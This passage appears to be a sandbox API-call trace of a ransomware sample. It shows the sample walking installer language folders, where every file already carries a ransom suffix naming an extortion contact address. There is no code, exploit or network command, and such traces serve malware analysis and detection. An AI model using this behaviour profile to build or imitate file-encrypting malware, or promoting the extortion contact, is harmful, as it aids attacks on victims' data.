	[0133.590] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.590] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f0a5b3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f0a5b3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f7c1e6, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.591] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f55f6f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f55f6f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9903add6, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.591] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985cc8e8, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985cc8e8, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.591] FindNextFileW (in: hFindFile=0x5dd580, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x985cc8e8, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x985cc8e8, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.591] FindClose (in: hFindFile=0x5dd580 | out: hFindFile=0x5dd580) returned 1
	[0133.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.592] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0133.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.592] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd080
	[0133.594] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.595] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98f7c1e6, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98f7c1e6, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.595] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98fa2446, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98fa2446, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.595] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.595] FindNextFileW (in: hFindFile=0x5dd080, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.595] FindClose (in: hFindFile=0x5dd080 | out: hFindFile=0x5dd080) returned 1
	[0133.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.596] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0133.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd200
	[0133.599] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.599] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99014bb0, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99014bb0, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x990871f5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.599] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9916c0d9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.599] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.599] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.599] FindClose (in: hFindFile=0x5dd200 | out: hFindFile=0x5dd200) returned 1
	[0133.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.600] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0133.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.601] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd3c0
	[0133.603] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.603] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990611c6, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990611c6, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9919231b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.603] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9919231b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.603] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.603] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.604] FindClose (in: hFindFile=0x5dd3c0 | out: hFindFile=0x5dd3c0) returned 1
	[0133.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.604] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0133.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.605] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd140
	[0133.607] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.607] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9922acae, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.608] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9927717e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.608] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.608] FindNextFileW (in: hFindFile=0x5dd140, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.608] FindClose (in: hFindFile=0x5dd140 | out: hFindFile=0x5dd140) returned 1
	[0133.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.609] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0133.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.609] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0133.612] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.612] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9920498c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.612] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9920498c, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9920498c, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.612] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98939f78, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98939f78, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.612] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98939f78, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98939f78, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.612] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0133.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.613] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0133.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
